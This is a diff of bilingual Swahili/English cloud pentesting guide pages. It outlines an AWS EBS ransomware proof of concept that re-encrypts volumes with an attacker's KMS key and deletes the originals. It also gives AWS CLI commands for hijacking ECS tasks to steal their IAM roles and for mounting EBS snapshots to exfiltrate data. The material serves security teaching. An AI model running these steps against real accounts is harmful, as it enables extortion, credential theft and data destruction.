Sasa kwa kuwa key hiyo iko hadharani kwa matumizi. Tunaweza kutumia akaunti ya 'victim' ambayo ina baadhi ya instances za EC2 zilizowekwa zikiwa na EBS volumes zisizofichwa (unencrypted) zilizounganishwa. EBS volumes za akaunti ya 'victim' ndizo tunazolenga ku-encrypt; shambulio hili linafanyika kwa kuzingatia uvunjaji wa akaunti ya AWS yenye ruhusa za juu.
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
|
||||
 
|
||||
|
||||
Kwa namna sawa na mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, litumie key iliyopo hadharani kutoka akaunti ya 'attacker' ku-encrypt EBS volumes mpya, kisha litenganishe EBS volumes za asili kutoka kwa instances za EC2 na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizofichwa (encrypted). 
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
|
||||
Hii inasababisha kubaki tu EBS volumes zilizofichwa (encrypted) zilizopatikana katika akaunti.
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
|
||||
|
||||
|
||||
Pia inafaa kutaja, script ilizuia instances za EC2 ili kutenganisha na kufuta EBS volumes za asili. Volumes za asili zisizofichwa (unencrypted) zimeondolewa sasa.
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
|
||||
|
||||
|
||||
Ifuatayo, rudi kwenye key policy katika akaunti ya 'attacker' na ondoa sheria ya sera 'Outside Encryption' kutoka kwenye key policy.
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +494,15 @@ Ifuatayo, rudi kwenye key policy katika akaunti ya 'attacker' na ondoa sheria ya
|
||||
]
|
||||
}
|
||||
```
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
Subiri muda mfupi ili sera ya ufunguo iliyowekwa hivi karibuni ipenye. Kisha rudi kwenye akaunti ya 'victim' na jaribu ku-attach moja ya EBS volumes mpya zilizofichwa (encrypted). Utagundua kuwa unaweza ku-attach volume.
|
||||
|
||||
 
|
||||
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
Lakini unapo jaribu kuanzisha tena instance ya EC2 ukiwa ume-attach EBS volume iliyofichwa (encrypted), itashindwa na itarudi kutoka kwenye hali ya 'pending' hadi 'stopped' kwa muda usioamuliwa kwa sababu EBS volume iliyounganishwa haiwezi kuo-decrypt kwa kutumia key kwa kuwa sera ya ufunguo haijiruhusu tena.
|
||||
|
||||
 
|
||||
|
||||
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
|
||||
Hii ni python script iliyotumika. Inachukua AWS creds za akaunti ya 'victim' na thamani ya AWS ARN inayopatikana hadharani kwa key itakayotumika kwa encryption. Script itatengeneza nakala za encrypted za ALL available EBS volumes zinazounganishwa na ALL EC2 instances katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, itadetach EBS volumes asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itaacha tu encrypted EBS volumes katika akaunti ya 'victim' iliyolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MAJARIBIO; INAHARIBU NA ITAFOUTA VOLUME ZOTE ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia KMS key iliyotumika na kuzirejesha katika hali yao ya awali kupitia snapshots, lakini napenda kukufahamisha kuwa mwishowe ni ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +621,8 @@ main()
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening repo ya Terraform](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Jinsi ya kuhamisha faili katika AWS kutumia SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+27
-19
@@ -12,33 +12,33 @@ Kwa taarifa zaidi angalia:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
Katika ECS, **IAM role can be assigned to the task** inayokimbia ndani ya container. **If** task inakimbia ndani ya **EC2** instance, **EC2 instance** itakuwa na **another IAM** role attached to it.\
|
||||
Hii inamaanisha kwamba ikiwa utafanikiwa **compromise** ECS instance unaweza kwa uwezekano **obtain the IAM role associated to the ECR and to the EC2 instance**. Kwa habari zaidi kuhusu jinsi ya kupata those credentials angalia:
|
||||
Katika ECS, **IAM role inaweza kuambatishwa kwa task** inayokimbia ndani ya container. **Ikiwa** task inakimbizwa ndani ya **EC2** instance, instance ya **EC2** itakuwa na **IAM** role nyingine imeambatishwa kwao.\
|
||||
Hii inamaanisha kuwa ikiwa utafanikiwa **compromise** instance ya ECS unaweza kwa uwezekano **kupata IAM role inayohusiana na ECR na instance ya EC2**. Kwa habari zaidi kuhusu jinsi ya kupata credentials hizo angalia:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kama inavyoelezwa kwenye docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request** itakuwa na **hop limit of 1**, na hivyo isiwezekane kufikia EC2 metadata kutoka container ndani ya EC2 instance.
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Zaidi ya hayo, EC2 inatumia docker kuendesha ECS tasks, hivyo kama utaweza kutoroka hadi node au **access the docker socket**, unaweza **check** ni **other containers** zipi zinaendeshwa, na hata **get inside of them** na **steal their IAM roles** attached.
|
||||
Zaidi ya hayo, EC2 inatumia docker kuendesha ECS tasks, hivyo ikiwa unaweza kuepuka hadi node au **kupata the docker socket**, unaweza **kuangalia** ni **container nyingine** zipi zinaendeshwa, na hata **kuingia ndani yao** na **kunyakua IAM roles zao** zilizoambatishwa.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Zaidi ya hayo, **EC2 instance role** kawaida huwa na vya kutosha **permissions** za **update the container instance state** za EC2 instances zinazotumika kama nodes ndani ya cluster. Mshambuliaji anaweza kubadilisha **state of an instance to DRAINING**, kisha ECS ita **remove all the tasks from it** na zile zinazoendeshwa kama **REPLICA** zita **run in a different instance,** huenda ndani ya **attackers instance**, hivyo anaweza **steal their IAM roles** na taarifa nyeti zinazoweza kuwepo ndani ya container.
|
||||
Zaidi yake, **EC2 instance role** kawaida itakuwa na **permissions** za kutosha za **kusasisha container instance state** ya instances za EC2 zinazotumika kama nodes ndani ya cluster. Mshambuliaji anaweza kubadilisha **state ya instance kuwa DRAINING**, kisha ECS itakuwa ikiondoa **tasks zote kutoka kwake** na zile zinazoendeshwa kama **REPLICA** zita **endeshwa kwenye instance tofauti,** kwa maana zinaweza kuendeshwa ndani ya **instance ya mshambuliaji**, hivyo anaweza **kunyakua IAM roles zao** na taarifa nyeti zinazoweza kuwepo ndani ya container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Mbinu ile ile inaweza kufanywa kwa **deregistering the EC2 instance from the cluster**. Inaweza kuwa si ya siri zaidi lakini italazimisha **majukumu yatekelezwe kwenye instances nyingine:**
|
||||
Mbinu ile ile inaweza kufanywa kwa **kuondoa usajili wa instance ya EC2 kutoka kwa cluster**. Hii inaweza kuwa si ya siri lakini italazimisha **tasks kutekelezwa katika instances nyingine:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Mbinu ya mwisho ya kulazimisha utekelezaji upya wa tasks ni kwa kumfahamisha ECS kwamba **task or container was stopped**. Kuna 3 APIs zinazowezekana za kufanya hili:
|
||||
Mbinu ya mwisho ya kulazimisha utekelezaji upya wa tasks ni kuonyesha kwa ECS kwamba **task or container was stopped**. Kuna 3 APIs zinazowezekana za kufanya hivi:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,40 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Kuiba taarifa nyeti kutoka kwa ECR containers
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance huenda pia ina ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua images** (unaweza kutafuta taarifa nyeti ndani yao).
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
|
||||
|
||||
|
||||
### Unganisha snapshot ya EBS moja kwa moja ndani ya ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Tumia vibaya muunganisho wa asili wa ECS EBS (2024+) kuunganisha yaliyomo ya snapshot ya EBS iliyopo moja kwa moja ndani ya ECS task/service mpya na kusoma data yake kutoka ndani ya container.
|
||||
|
||||
- Inahitajika (chini kabisa):
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Tumia native ECS EBS integration (2024+) kuunganisha yaliyomo ya snapshot ya EBS iliyopo moja kwa moja ndani ya task/service mpya ya ECS na kusoma data yake kutoka ndani ya container.
|
||||
|
||||
- Inahitaji (kiasi cha chini):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Mojawapo ya: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole kwenye:
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role inayotumika kwa volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles zinazorejelewa na task definition
|
||||
- Ikiwa snapshot imefumwa kwa CMK: ruhusa za KMS kwa infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Athari: Soma yaliyomo yoyote ya diski kutoka snapshot (kwa mfano, faili za database) ndani ya container na kusafirisha nje kupitia mtandao/maandishi ya kumbukumbu (network/logs).
|
||||
- Impact: Soma yaliyomo yoyote ya diski kutoka snapshot (mf., database files) ndani ya container na exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Unda ECS infrastructure role (ikiwa haipo) na uambatisha managed policy:
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Sajili task definition na volume iliyoelezwa `configuredAtLaunch` na ui-mount katika container. Mfano (prints the secret then sleeps):
|
||||
2) Sajili task definition yenye volume iliyotajwa `configuredAtLaunch` na ui-mount kwenye container. Mfano (huchapisha secret kisha inalala):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -113,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Wakati task inapoanza, container inaweza kusoma yaliyomo ya snapshot kwenye mount path iliyosanifiwa (kwa mfano, `/loot`). Exfiltrate kupitia network/logs za task.
|
||||
4) Wakati task ikianza, container inaweza kusoma yaliyomo ya snapshot kwenye configured mount path (mfano, `/loot`). Exfiltrate kupitia network/logs za task.
|
||||
|
||||
Usafishaji:
|
||||
```bash
|
||||
@@ -121,4 +125,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user